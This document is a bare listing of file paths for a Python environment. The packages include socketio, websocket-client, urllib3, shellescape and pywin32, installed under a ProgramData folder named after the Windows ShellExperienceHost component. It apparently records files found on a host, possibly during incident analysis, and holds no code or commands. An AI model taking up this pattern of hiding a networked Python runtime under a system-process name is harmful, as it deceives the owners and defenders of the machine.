C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BUILD_PY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\BUILD_SCRIPTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\CHECK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\CLEAN.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\CONFIG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL_DATA.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL_EGG_INFO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL_HEADERS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL_LIB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\INSTALL_SCRIPTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\PY37COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\REGISTER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\SDIST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\UPLOAD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\COMMAND\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\CONFIG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\CORE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\CYGWINCCOMPILER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\DEBUG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\DEP_UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\DIR_UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\DIST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\ERRORS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\EXTENSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\FANCY_GETOPT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\FILELIST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\FILE_UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\LOG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\MSVC9COMPILER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\MSVCCOMPILER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\PY35COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\PY38COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\SPAWN.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\SYSCONFIG.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\TEXT_FILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\UNIXCCOMPILER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\VERSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\VERSIONPREDICATE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\_MSVCCOMPILER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_DISTUTILS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_IMP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\ORDERED_SET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\MARKERS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\REQUIREMENTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\SPECIFIERS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\TAGS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\VERSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\_COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\_STRUCTURES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\_TYPING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\__ABOUT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PACKAGING\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\PYPARSING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\_VENDOR\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SETUPTOOLS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE-3.8.1.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE\MAIN.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE\SETTINGS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SHELLESCAPE\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX-1.15.0.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SIX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASGI.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_AIOPIKA_MANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_CLIENT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_MANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_NAMESPACE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_PUBSUB_MANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_REDIS_MANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ASYNCIO_SERVER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\BASE_MANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\CLIENT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\EXCEPTIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\KAFKA_MANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\KOMBU_MANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\MIDDLEWARE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\NAMESPACE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\PACKET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\PUBSUB_MANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\REDIS_MANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\SERVER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\TORNADO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\ZMQ_MANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\SOCKETIO\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\LICENSE.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3-1.26.2.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONNECTION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONNECTIONPOOL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\APPENGINE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\NTLMPOOL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\PYOPENSSL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\SECURETRANSPORT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\SOCKS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\_APPENGINE_ENVIRON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\_SECURETRANSPORT\BINDINGS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\_SECURETRANSPORT\LOW_LEVEL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\_SECURETRANSPORT\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\CONTRIB\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\EXCEPTIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\FIELDS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\FILEPOST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\BACKPORTS\MAKEFILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\BACKPORTS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SIX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SSL_MATCH_HOSTNAME\_IMPLEMENTATION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\SSL_MATCH_HOSTNAME\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\PACKAGES\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\POOLMANAGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\REQUEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\RESPONSE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\CONNECTION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\PROXY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\QUEUE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\REQUEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\RESPONSE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\RETRY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\SSLTRANSPORT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\SSL_.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\TIMEOUT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\URL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\WAIT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\UTIL\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\_COLLECTIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\_VERSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\URLLIB3\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\CACERT.PEM
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\DATA\HEADER01.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\DATA\HEADER02.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\TEST_COOKIEJAR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\TEST_WEBSOCKET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\TESTS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_ABNF.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_APP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_COOKIEJAR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_CORE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_EXCEPTIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_HANDSHAKE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_HTTP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_LOGGING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_SOCKET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_SSL_COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_URL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\_UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WEBSOCKET_CLIENT-0.57.0.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\ENTRY_POINTS.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\LICENSE.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\REQUESTED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL-0.36.2.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\BDIST_WHEEL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\CLI\CONVERT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\CLI\PACK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\CLI\UNPACK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\CLI\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\MACOSX_LIBFILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\METADATA.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\PKGINFO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\UTIL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED\PACKAGING\TAGS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED\PACKAGING\_TYPING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED\PACKAGING\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\VENDORED\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\WHEELFILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WHEEL\__MAIN__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\ADSI.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\ADSICON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\DEMOS\OBJECTPICKER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\DEMOS\SCP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\DEMOS\SEARCH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\DEMOS\TEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\ADSI\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION\AUTHORIZATION.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION\DEMOS\EDITSECURITY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION\DEMOS\EDITSERVICESECURITY.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AUTHORIZATION\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXCONTROL\AXCONTROL.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXCONTROL\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\ADB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\AXDEBUG.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\CODECONTAINER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\CONTEXTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\DEBUGGER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\DOCUMENTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\DUMP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\EXPRESSIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\WIN32COMEXT\AXDEBUG\GATEWAYS.PY
